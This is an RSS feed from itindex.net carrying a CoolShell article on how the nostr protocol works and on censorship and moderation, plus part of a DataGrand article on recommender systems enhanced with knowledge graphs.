<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/rss.xsl" type="text/xsl"?>
<rss version="2.0">
  <channel>
    <title>IT瘾系统推荐</title>
    <link>https://itindex.net/tags/系统</link>
    <description>IT社区推荐资讯 - ITIndex.net</description>
    <language>zh</language>
    <copyright>https://itindex.net/</copyright>
    <generator>https://itindex.net/</generator>
    <docs>http://backend.userland.com/rss</docs>
    <image>
      <url>https://itindex.net/images/logo.gif</url>
      <title>IT社区推荐资讯 - ITIndex.net</title>
      <link>https://itindex.net/tags/系统</link>
    </image>
    <item>
      <title>聊聊 nostr 和 审查</title>
      <link>https://itindex.net/detail/62608-nostr-%E5%AE%A1%E6%9F%A5</link>
      <description>&lt;p&gt;  &lt;img alt="" height="150" src="https://coolshell.cn/wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-300x150.png" width="300"&gt;&lt;/img&gt;这两天在网络上又有一个东西火了，Twitter 的创始人   &lt;a href="https://twitter.com/jack"&gt;@jack&lt;/a&gt; 新的社交 iOS App    &lt;a href="https://apps.apple.com/ca/app/damus/id1628663131" rel="noopener" target="_blank"&gt;Damus&lt;/a&gt; 上苹果商店（第二天就因为违反中国法律在中国区下架了），这个软件是一个去中心化的 Twitter，使用到的是 nostr – Notes and Other Stuff Transmitted by Relays 的协议（  &lt;a href="https://github.com/nostr-protocol/nostr" rel="noopener" target="_blank"&gt;协议简介&lt;/a&gt;，  &lt;a href="https://github.com/nostr-protocol/nips" rel="noopener" target="_blank"&gt;协议细节&lt;/a&gt;），协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品，如：  &lt;a href="https://mastodon.social/" rel="noopener" target="_blank"&gt;Masodon&lt;/a&gt; 和   &lt;a href="https://scuttlebutt.nz/" rel="noopener" target="_blank"&gt;Secure Scuttlebutt&lt;/a&gt; 。我顺着去看了一下这个协议，发现这个协议真是非常的简单，简单到几句话就可以讲清楚了。&lt;/p&gt;
 &lt;h4&gt;通讯过程&lt;/h4&gt;
 &lt;ul&gt;
  &lt;li&gt;这个协议中有两个东西，一个是 client，一个是 relay，client 就是用户社交的客户端，relay 就是转发服务器。&lt;/li&gt;
  &lt;li&gt;用户不需要注册，用户只需要有一个密钥对（公钥+私钥）就好了，然后把要发的信息做签名，发给一组 relays&lt;/li&gt;
  &lt;li&gt;然后你的 Follower 就可以从这些 relays 上订阅到你的信息。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h4&gt;技术细节摘要&lt;/h4&gt;
 &lt;ul&gt;
  &lt;li&gt;技术实现上，nostr 使用 websocket + JSON 的方式。其中主要是下面这么同个指令
   &lt;ul&gt;
    &lt;li&gt;Client 到 Relay主要是下面这几个指令：
     &lt;ul&gt;
      &lt;li&gt;       &lt;code&gt;EVENT&lt;/code&gt;。发出事件，可以扩展出很多很多的动作来，比如：发信息，删信息，迁移信息，建 Channel ……扩展性很好。&lt;/li&gt;
      &lt;li&gt;       &lt;code&gt;REQ&lt;/code&gt;。用于请求事件和订阅更新。收到       &lt;code&gt;REQ&lt;/code&gt;消息后，relay 会查询其内部数据库并返回与过滤器匹配的事件，然后存储该过滤器，并将其接收的所有未来事件再次发送到同一websocket，直到websocket关闭。&lt;/li&gt;
      &lt;li&gt;       &lt;code&gt;CLOSE&lt;/code&gt;。用于停止被        &lt;code&gt;REQ&lt;/code&gt; 请求的订阅。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
    &lt;li&gt;Relay 到 Client 主要是下面几个指令：
     &lt;ul&gt;
      &lt;li&gt;       &lt;code&gt;EVENT&lt;/code&gt;。用于发送客户端请求的事件。&lt;/li&gt;
      &lt;li&gt;       &lt;code&gt;NOTICE&lt;/code&gt;。用于向客户端发送人类可读的错误消息或其他信息&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
  &lt;li&gt;关于    &lt;code&gt;EVENT&lt;/code&gt; 下面是几个常用的基本事件：
   &lt;ul&gt;
    &lt;li&gt;     &lt;code&gt;0&lt;/code&gt;:      &lt;code&gt;set_metadata&lt;/code&gt;：比如，用户名，用户头像，用户简介等这样的信息。&lt;/li&gt;
    &lt;li&gt;     &lt;code&gt;1&lt;/code&gt;:      &lt;code&gt;text_note&lt;/code&gt;：用户要发的信息内容&lt;/li&gt;
    &lt;li&gt;     &lt;code&gt;2&lt;/code&gt;：      &lt;code&gt;recommend_server&lt;/code&gt;：用户想要推荐给关注者的Relay的URL（例如     &lt;code&gt;wss://somerelay.com&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
 &lt;h4&gt;如何对抗网络审查&lt;/h4&gt;
 &lt;p&gt;那么，这个协议是如何对抗网络审查的？&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;识别你的身份是通过你的签名，所以，只要你的私钥还在，你是不会被删号的&lt;/li&gt;
  &lt;li&gt;任何人都可以运行一个或多个relay，所以，就很难有人控制所有的relay&lt;/li&gt;
  &lt;li&gt;你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上&lt;/li&gt;
  &lt;li&gt;你的信息是一次发给多个relay的，所以，只要不是所有的热门realy封了你，你就可以发出信息&lt;/li&gt;
  &lt;li&gt;每个relay的运营者都可以自己制定规则，会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。&lt;/li&gt;
  &lt;li&gt;如果你被全部的relay封了，你还是可以自建你的relay，然后，你可以通过各种方式告诉你身边的人你的relay服务器是什么？这样，他们把这个relay服务器加到他们的client列表中，你又可以从社死中复活了。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;嗯，听起来很简单，整个网络是构建在一种 “社区式”的松散结构，完全可能会出现若干个 relay zone。这种架构就像是互联网的架构，没有中心化，比如 DNS服务器和Email服务器一样，只要你愿意，你完全可以发展出自己圈子里的“私服”。&lt;/p&gt;
 &lt;p&gt;其实，电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候，我当时在北京，当时的卫生部部长说已经控制住了，才12个人感染，当局也在控制舆论和删除互联网上所有的真实信息。但是，大家都在用电子邮件传播信息，当时基本没有什么社交软件，大家分享信息都是通过邮件，尤其是外企工作的圈子，当时每天都要收很多的非典的群发邮件，大家还都是用公司的邮件服务器发……这种松散的，点对点的架构，让审查是基本不可能的。其实，  &lt;strong&gt;我觉得 nostr 就是另外一个变种或是升级版的 email 的形式&lt;/strong&gt;。&lt;/p&gt;
 &lt;h4&gt;如何对抗Spam和骗子&lt;/h4&gt;
 &lt;p&gt;但是问题来了，如果不能删号封人的话，那么如何对抗那些制造Spam，骗子或是反人类的信息呢？nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你，如果给他发私信，需要支付一点点btc ，或是relay要求你给btc才给你发信息等等。&lt;/p&gt;
 &lt;p&gt;不过，我觉得也有可以有下面的这些思路：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;用户主动拉黑，但很明显这个效率不高，而且体验不好&lt;/li&gt;
  &lt;li&gt;社区或是同盟维护一个黑名单，relay定期更新（如同email中防垃圾邮件也是这样搞的），这其实也是审查。&lt;/li&gt;
  &lt;li&gt;防Spam的算法过滤垃圾信息（如同email中干的），自动化审查。&lt;/li&gt;
  &lt;li&gt;增加发Spam的成本，如: PoW 工作量证明（比特币的挖坑，最早也是用于Email），发信息要花钱等。&lt;/li&gt;
  &lt;li&gt;……&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;总之，还是有相应的方法的，但是一定没有完美解，email对抗了这么多年，你还是可以收到大量的垃圾邮件和钓鱼邮件，所以，我觉得 nostr 也不可能做到……&lt;/p&gt;
 &lt;h4&gt;怎么理解审查&lt;/h4&gt;
 &lt;p&gt;最后，我们要明白的是，  &lt;strong&gt;无论你用什么方法，审查是肯定需要的，所以，我觉得要完全干掉审查，最终的结果就是一个到处都垃圾内容的地方！&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;我理解的审查不应该是为权力或是个体服务的，而是为大众和人民服务的，所以，审查必然是要有一个开放和共同决策的流程，而不是独断的&lt;/strong&gt;。&lt;/p&gt;
 &lt;p&gt;这点可以参考开源软件基金会的运作模式。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;最底端的是用户（User）参与开源社区的使用并提供问题和反馈。&lt;/li&gt;
  &lt;li&gt;用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者（Contributors），&lt;/li&gt;
  &lt;li&gt;当贡献者提交一定数量贡献之后就可以晋升为提交者（Committers），此时你将拥有你参与仓库的代码读写权限。&lt;/li&gt;
  &lt;li&gt;当提交者Committers在社区得到认可后，由项目管理委员会（PMC）选举并产生PMC成员（类似于议员），PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;注意下面几点&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;整个社区的决策者，是要通过自己贡献来挣到被选举权的。&lt;/li&gt;
  &lt;li&gt;社区所有的工作和决定都是要公开的。&lt;/li&gt;
  &lt;li&gt;社区的方向和决策都是要投票的，PMC成员有binding的票权，大众也有non-binding的投票权供参考。&lt;/li&gt;
  &lt;li&gt;   &lt;strong&gt;如果出现了价值观的不同，那么，直接分裂社区就好了，不同价值观的人加入到不同的社区就好了&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;如果审查是在这个框架下运作的话，虽然不完美，但至少会在一种公允的基础下运作，是透明公开的，也是集体决策的。&lt;/p&gt;
 &lt;p&gt;开源软件社区是一个很成功的示范，所以，我觉得只有技术而没有一个良性的可持续运作的社区，是不可能解决问题的，  &lt;strong&gt;干净整齐的环境是一定要有人打扫和整理的&lt;/strong&gt;。&lt;/p&gt;
 &lt;p&gt;（全文完）&lt;/p&gt;
 &lt;div&gt;
  &lt;p align="center"&gt;   &lt;strong&gt;（转载本站文章请注明作者和出处     &lt;a href="https://coolshell.cn/"&gt;酷 壳 – CoolShell&lt;/a&gt; ，请勿用于任何商业用途）&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;h3&gt;相关文章&lt;/h3&gt;   &lt;ul&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/18654.html"&gt;      &lt;img alt="&amp;#35760;&amp;#19968;&amp;#27425;Kubernetes/Docker&amp;#32593;&amp;#32476;&amp;#25490;&amp;#38556;" height="150" src="https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/18654.html"&gt;记一次Kubernetes/Docker网络排障&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/9859.html"&gt;      &lt;img alt="Alan Cox&amp;#65306;&amp;#21333;&amp;#21521;&amp;#38142;&amp;#34920;&amp;#20013;prev&amp;#25351;&amp;#38024;&amp;#30340;&amp;#22937;&amp;#29992;" height="150" src="https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/9859.html"&gt;Alan Cox：单向链表中prev指针的妙用&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/5247.html"&gt;      &lt;img alt="&amp;#22269;&amp;#20869;&amp;#24494;&amp;#21338;&amp;#21644;Twitter&amp;#30340;&amp;#26368;&amp;#22823;&amp;#19981;&amp;#21516;" height="150" src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/5247.html"&gt;国内微博和Twitter的最大不同&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/25.html"&gt;      &lt;img alt="&amp;#22914;&amp;#20309;&amp;#19978;&amp;#32593;&amp;#35269;&amp;#26080;&amp;#36394;" height="150" src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/25.html"&gt;如何上网觅无踪&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/17061.html"&gt;      &lt;img alt="Docker&amp;#22522;&amp;#30784;&amp;#25216;&amp;#26415;&amp;#65306;AUFS" height="150" src="https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/17061.html"&gt;Docker基础技术：AUFS&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;     &lt;a href="https://coolshell.cn/articles/3345.html"&gt;      &lt;img alt="140&amp;#20010;Google&amp;#30340;&amp;#38754;&amp;#35797;&amp;#39064;" height="150" src="https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg" width="150"&gt;&lt;/img&gt;&lt;/a&gt;     &lt;a href="https://coolshell.cn/articles/3345.html"&gt;140个Google的面试题&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;The post  &lt;a href="https://coolshell.cn/articles/22367.html"&gt;聊聊 nostr 和 审查&lt;/a&gt; first appeared on  &lt;a href="https://coolshell.cn"&gt;酷 壳 - CoolShell&lt;/a&gt;.&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>业界新闻 系统架构 网络安全 censorship network</category>
      <guid isPermaLink="true">https://itindex.net/detail/62608-nostr-%E5%AE%A1%E6%9F%A5</guid>
      <pubDate>Fri, 03 Feb 2023 15:46:13 CST</pubDate>
    </item>
    <item>
      <title>知识图谱增强下的智能推荐系统与应用-于敬</title>
      <link>https://itindex.net/detail/62491-%E7%9F%A5%E8%AF%86-%E5%A2%9E%E5%BC%BA-%E6%99%BA%E8%83%BD</link>
      <description>&lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/91c10e8a-a59a-4c46-bcd6-5b8171f57b76.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;随着互联网技术的迅速发展，尤其是移动互联网的兴起，新产生的信息呈现爆炸式的增长。为了更好地解决信息获取中的信息过载（Information Overload）和长尾问题（Long Tail），推荐系统应运而生，目前基本上已经成为了各种产品的标配功能。推荐系统是信息过滤系统的一个分支，它可以自动地挖掘用户和物品之间的联系。具体来说，它试图基于用户本身的多维度属性数据（如年龄、地域、性别等）以及行为数据的反馈（如点击、收藏、点赞、购买等），结合物品自身属性数据（如标题、标签、类别、正文等），以预测用户对待推荐物品的评分或偏好。从用户的角度来看，推荐系统是基于用户个人的兴趣偏好进行千人千面的自动推荐，则有助于缓解信息过载问题。从物品的角度来看，其自身属性及对应的交互行为差异，通过各种推荐方式是可以触达到对其更感兴趣的用户群体中，缓解了曝光不足带来的长尾问题。从企业的角度来看，推荐系统带来了更好的产品交互方式，达到了沉浸式体验的效果，从而进一步提升了用户的黏性，并最终大幅度提升了转化收益。&lt;/p&gt;



 &lt;p&gt;  &lt;img src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/6c4285ff-bfa0-47ff-ac95-02afaf310d0c.jpg"&gt;&lt;/img&gt;图1 达观智能推荐系统&lt;/p&gt;



 &lt;p&gt;在智能推荐ToB企业服务领域，达观数据已经有了10余年的推荐技术沉淀和上千家客户的行业应用实践经验。早在2012年的时候，由达观数据创始人陈运文博士带领团队参加了在伦敦举办的EMI数据黑客竞赛并获得了国际冠军，该竞赛主要是围绕音乐推荐场景，如何基于用户听歌行为等数据进行分析挖掘来对预测用户兴趣偏好并进行歌曲推荐。经过激烈鏖战，由他们开发的智能推荐系统对500万听歌用户的数据进行建模，根据每个用户的个性化兴趣偏好从数十万首歌曲库中为每个用户生成千人千面的歌曲推荐结果，推荐精度力克包括来自剑桥大学、牛津大学、密歇根大学等等的300多支参赛队伍，一举获得冠军。达观智能推荐基于前沿的人工智能和大数据分析挖掘技术，经过多年的产品打磨和持续的行业应用探索，累计服务客户数量达到了上千家。  &lt;em&gt;（https://www.datagrand.com/products/recommend/）&lt;/em&gt;&lt;/p&gt;



 &lt;h1&gt;  &lt;strong&gt;基于过滤思想的推荐方法&lt;/strong&gt;&lt;/h1&gt;



 &lt;p&gt;经过多年的推荐系统理论发展，已经产生了三代主要的推荐系统。第一代推荐系统（1995-2005），主要包括三种方法：基于内容过滤的方法、基于协同过滤的方法和混合方法，技术上主要是规则统计和机器学习。第二代推荐系统（2003-2014），主要是基于时间、位置、用户组评分等特征上下文，对这一代推荐系统的研究目前仍在进行中。第三代推荐系统的研究更侧重在基于表示学习的语义模型以及在推荐过程中会有较多的关于知识组件的使用。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;01&lt;/strong&gt;  &lt;strong&gt;基于协同过滤的推荐方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;协同过滤方法（Collaborative Filtering，CF）是一种传统的推荐方法，体现的是群体智慧，它基于用户的兴趣偏好和与物品的历史交互行为进行推荐。这种方法可以分为基于记忆的方法和基于模型的方法。而基于记忆的方法可以分为两类：基于用户的（User-based CF）和基于物品的（Item-based CF）。基于内存的方法最流行的算法是KNN算法，该算法使用了一些传统的相似性度量，如 Pearson、Spearman、Cosine、Jaccard 等。另一方面，在基于模型的方法中，最常用的是矩阵分解（MF）及其变体（NMF、SVD）。目前，又出现了一些新的基于模型的协同过滤方法，如贝叶斯、基于聚类的、基于规则的和基于图的推荐方法。  &lt;br /&gt;  &lt;br /&gt;协同过滤主要存在两个问题：当用户与物品之间的交互很少时用户数据的稀疏性，以及冷启动问题（新用户和新物品）。另外就是是传统的推荐技术没有利用推荐场景中的诸多语义信息、关键字关系和层次结构。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;02&lt;/strong&gt;  &lt;strong&gt;基于内容过滤的推荐方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;基于该方法的推荐系统通过学习和用户过去偏好的物品在内容特征方面比较相似的新物品进行推荐。这类方法可以分为基于案例推理（case-based reasoning）和基于属性（attribute-based）的技术。基于案例推理的技术主要是推荐与用户过去喜欢的物品高度相关的物品。相比之下，基于属性的技术基于将物品属性与用户属性相匹配来进行推荐结果生成。大多数基于内容过滤的推荐系统使用的模型包括：关键字匹配或向量空间模型（VSM）、基于词频-逆文档频率（TF-IDF）加权、主题建模等。  &lt;br /&gt;  &lt;br /&gt;基于内容过滤的推荐方法，推荐出来的物品具有较高的文本相关性，同时可以很好的解释推荐结果，但是推荐出来的结果往往惊喜度较差，同时文本特征较为稀疏时也会影响相关性的计算。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;03&lt;/strong&gt;  &lt;strong&gt;基于人口统计信息过滤的推荐方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;该方法的主要思想是具有某些共同个人属性（性别、年龄、国家等）的用户也具有共同偏好这一事实。基于此，这些系统可以通过根据人口统计属性对用户进行分类来生成推荐结果。当物品的信息量很有限时，这些方法特别有用。该方法的一个优点是它不需要用户对基于内容和协同过滤方法所必需的物品进行评分或者有交互反馈。  &lt;br /&gt;  &lt;br /&gt;然而，这种类型的推荐方式的主要问题，一是由于涉及安全和隐私问题，为用户收集完整的信息是不切实际的；二是该方法向相关人口统计群体的用户推荐相同的商品，个性化程度受限。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;04&lt;/strong&gt;  &lt;strong&gt;基于上下文感知过滤的推荐方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;该类推荐系统结合场景上下文信息进行推荐。这种方法假设当前推荐场景的上下文是用一组预定义的可观察属性定义的，其结构不会随着时间的推移而发生显着变化。所谓的上下文信息主要包括时间、位置或者其他人（如朋友、亲戚或同事）。这些上下文信息为推荐结果的生成提供了额外的信息，相对于仅考虑用户或者物品自身信息，会有更多的补充。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;05&lt;/strong&gt;  &lt;strong&gt;基于知识过滤的推荐方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;该类推荐系统主要是基于领域知识考虑如何推荐以满足用户的兴趣偏好。这些系统应该使用三种类型的知识：关于用户的知识、关于物品的知识以及关于物品与用户需求之间对应关系的知识。总体上来说，该方法主要是依靠知识图谱来为推荐系统更多的辅助信息以提升推荐精准度。后面会展开来详细介绍。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;06&lt;/strong&gt;  &lt;strong&gt;混合过滤的推荐方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;这些系统通常将协同过滤与内容过滤或协同过滤与任何其他推荐方法相结合进行推荐。结合的目标是利用每种方法的优势以提高整体系统性能和推荐效果。目前，一些关于混合方法的工作包括基于深度学习方法、贝叶斯网络、聚类、潜在特征和图结构等等。  &lt;br /&gt;  &lt;br /&gt;近年来，基于深度神经网络的方法，如 DNN 、Wide &amp;amp; Deep、DeepFM在排序学习（Learn to Rank，LTR）方面取得了令人瞩目的表现。这些方法遵循嵌入（Enmbedding）和多层感知机(Multilayer Perceptron，MLP)范式，其中大规模稀疏特征首先嵌入到低维向量中，然后连接在一起输入多层感知器以学习特征之间的非线性关系。先进的LTR方法发现了从用户的历史行为中提取用户兴趣以进行排名的有效性。具体来说，DIN（Deep Interest Network）使用注意力机制从用户对候选物品的历史行为中学习用户兴趣的表示。DIEN（Deep Interest Evolution Network）使用循环神经网络来捕捉用户兴趣的演变。DMT（Method Deep Multifaceted Transformers）利用多个转换器对用户的不同行为序列进行建模。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;总体上来说，推荐算法是推荐系统的核心元素。基于协同过滤的推荐方式是以交互数据中用户或物品的相似性对用户兴趣偏好进行建模，而基于内容过滤的推荐方法则主要是利用物品的内容特征。基于协同过滤的推荐系统已被广泛应用，因为它们可以有效地捕获用户偏好，并且可以在多种场景中可以快速方便的实现，而无需像基于内容过滤的推荐系统中提取各种特征。然而，基于协同过滤的推荐方法存在数据稀疏和冷启动问题。为了解决这些问题，已经提出了很多类型的混合推荐系统来统一交互级相似性和内容级相似性。在这个过程中，也探索了多种类型的辅助信息，例如物品属性、评论数据、用户的社交网络等等。实践证明，混合推荐系统通常可以获得更好的推荐结果，并且近年来越来越受欢迎。  &lt;br /&gt;&lt;/p&gt;



 &lt;h1&gt;  &lt;strong&gt;知识图谱概述&lt;/strong&gt;&lt;/h1&gt;



 &lt;p&gt;知识图谱（Knowledge Graph，KG）是一种描述实体或概念并使用不同类型的语义关系将它们连接起来的结构。2012 年，Google提出术语“知识图谱”来指代语义知识在网络搜索中的使用，目的是提高搜索引擎的能力，增强用户的搜索体验。在“知识图谱”一词流行之前，DBPedia和其他链接数据集是由语义Web技术和Berners-Lee提出的链接数据设计问题生成的。如今，KG已经在业界获得了广泛关注并进行了大规模的系统应用。  &lt;br /&gt;  &lt;br /&gt;在过去的数年中，越来越多的语义数据遵循关联数据原则，通过将来自不同主题领域的各种信息（如人、书籍、音乐、电影和地理位置）连接到一个统一的全球数据空间中来发布。这些异构的数据相互联系，形成了一个巨大的信息资源库，称为知识库。已经构建了几个典型的知识库，包括YAGO、NELL、DBpedia、DeepDive等学术项目，以及微软的Satori、谷歌的Knowledge Graph等商业项目。使用来自知识库的异构连接信息有助于深入了解单个领域的数据难以发现的问题。&lt;/p&gt;



 &lt;p&gt;以下是部分知识库介绍：&lt;/p&gt;



 &lt;ol&gt;
  &lt;li&gt;Freebase是一个非常实用的并且可拓展的元组数据库系统，旨在成为世界知识的公共存储库。它的设计灵感来自广泛使用的信息社区，如语义网和维基百科。Freebase 中的数据是结构化的，通过协作创建的方式生成。它支持高度多样化和异构的数据，并具有高可扩展性。Freebase 目前包含125000000+ 元组、4000+类型和 7000+属性。MQL (Metaweb Query Language)作为一种对数据执行查询和操作的语言，通过基于HTTP协议的图查询（graph-query）API可以实现对Freebase的读写操作。MQL为Freebase中的元组数据提供了易于使用的面向对象的接口，它的产生旨在促进通过协作方式创建基于 Web 的面向数据的应用程序。&lt;/li&gt;



  &lt;li&gt;DBpedia是从111种语言的维基百科版本中提取结构化数据来构建的一个大规模多语言知识库。从英文版维基百科中抽取的最大DBpedia知识库包含4亿多条事实数据，用于描述370万种事物。从其它的110个维基百科版本中抽取的DBpedia知识库总共包含14.6亿事实数据，描述1000万种额外事物。DBpedia将27种不同语言版本的维基百科信息框（infoboxes）映射到一个单一的共享本体中，该本体由320个类和1650 个属性组成。这些映射是通过世界范围内的众包工作创建的，从而可以很好的融合来自不同维基百科版本的知识。该项目定期发布所有DBpedia知识库以供下载，并通过本地DBpedia章节的全球网络提供对111种语言版本中的14 种语言版本的SPARQL查询访问。除了定期发布之外，该项目还维护一个实时知识库，该知识库会在维基百科中的页面发生更改时进行更新。DBpedia设置了2700万个RDF链接，指向30多个外部数据源，从而使来自这些源的数据能够与DBpedia数据一起使用。&lt;/li&gt;



  &lt;li&gt;YAGO是由德国马普研究所研制的链接数据库。YAGO主要集成了Wikipedia、WordNet和GeoNames三个来源的数据。YAGO建立在实体和关系之上，目前包含超过 100 万个实体和 500 万个事实，1.2亿条三元组知识，包括 Is-A 层次结构以及实体之间的非分类关系，事实已自动从Wikipedia中提取并与 WordNet统一。YAGO将WordNet的词汇定义与Wikipedia的分类体系进行了融合集成，使得YAGO具有更加丰富的实体分类体系。YAGO还考虑了时间和空间知识，为很多知识条目增加了时间和空间维度的属性描述。   &lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;



 &lt;p&gt;知识图谱本质上是一种基于图的数据结构,是一种揭示实体之间关系的语义网络。通俗来讲，就是把不同种类的信息连接在一起得到的一个语义关系网，知识图谱以结构化的方式描述客观世界，沉淀背景知识，将信息知识表示成更接近人类认识世界的形式，已经被广泛应用于搜索引擎、智能推荐、智能问答、语言理解、决策分析等领域。&lt;/p&gt;



 &lt;p&gt;  &lt;img src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/f6446d32-f809-4e64-b692-3c4f78322bcf.jpg"&gt;&lt;/img&gt;&lt;/p&gt;



 &lt;p&gt;图2 达观知识图谱功能展示&lt;/p&gt;



 &lt;p&gt;达观知识图谱，是达观数据公司面向各行业知识图谱应用而推出的新一代产品，其整合了知识图谱的设计、构建、编辑、管理、应用等全生命周期实现，基于客户的多源异构数据整合构建知识中台，可以实现从业务场景出发到生成图谱、再到实现基于图谱的应用，显著提高了各行业中知识图谱的落地效率和效果。  &lt;br /&gt;&lt;/p&gt;



 &lt;h1&gt;  &lt;strong&gt;知识图谱和推荐系统&lt;/strong&gt;&lt;/h1&gt;



 &lt;p&gt;传统的推荐系统更多的是将用户和物品之间的显式或隐式反馈作为输入，这带来了两个问题：&lt;/p&gt;



 &lt;ol&gt;
  &lt;li&gt;在实际场景中，用户和物品之间的交互信息特别稀疏。例如，一个在线购物应用可能包含数十万的商品，而用户实际购买的商品数量可能仅有数百。使用如此少量的行为反馈数据来预测大量未知信息会显着增加算法过拟合的风险。   &lt;br /&gt;&lt;/li&gt;



  &lt;li&gt;对于新用户和新物品的推荐，由于缺乏历史交互信息，系统推荐的精准度就会受到极大的负面影响。解决稀疏性和冷启动问题的一种常见方法是在推荐算法的输入中引入额外的辅助信息，例如用户属性、项目属性和上下文信息等等。&lt;/li&gt;
&lt;/ol&gt;



 &lt;p&gt;近年来，将知识图谱作为辅助信息引入推荐系统已经成为了工业界和学术界的研究热点。KG一方面可以提供丰富的领域知识作为补充信息来克服协同过滤和基于内容过滤的推荐方法所面临的问题；另一方面，推荐系统可以使用 KG 中存在的语义关系来提高其准确性并增加推荐物品的多样性。具体来说，KG 推荐利用了代表用户的实体、要推荐的物品及其交互之间的联系。推荐系统使用各种连接来识别目标用户可能感兴趣的物品集合。因此，复杂的关系表示为基于KG的推荐系统提供了额外的有价值的信息，以在节点之间应用推理来发现新的连接。相反，一般来说，基于特征向量的经典推荐方法会忽略这种连接，这可能会导致整体的推荐性能欠佳，尤其是在数据稀疏的情况下。&lt;/p&gt;



 &lt;h1&gt;  &lt;strong&gt;融入知识图谱的推荐系统&lt;/strong&gt;&lt;/h1&gt;



 &lt;p&gt;KG是一个异质图，节点表示实体，边缘表示实体之间的关系。物品及其属性可以映射到 KG 中，以表征物品之间的相互关系。此外，用户及其信息也可以集成到KG中，这就使得用户和物品之间的关系以及用户偏好可以更准确地捕获。&lt;/p&gt;



 &lt;p&gt;一般来说，基于KG的推荐方法，第一步需要构建KG，可以是物品知识图谱（Item Knowledge Graph，IKG），也可以是用户物品知识图谱（User-Item Knowledge Graph，UIKG）。  &lt;br /&gt;&lt;/p&gt;



 &lt;ol&gt;
  &lt;li&gt;关于IKG。在IKG中，物品和他们关联的实体（如物品属性）作为节点，而边可以表示物品的属性级关系（如品牌、类别等），也可以表示为用户相关的关系（如“都浏览”、“都购买”）。&lt;/li&gt;



  &lt;li&gt;关于UIKG。在UIKG中，用户、物品和他们相关的实体都是节点，边可以表示用户和物品之间的关系（如点击、收藏、购买等）。&lt;/li&gt;
&lt;/ol&gt;



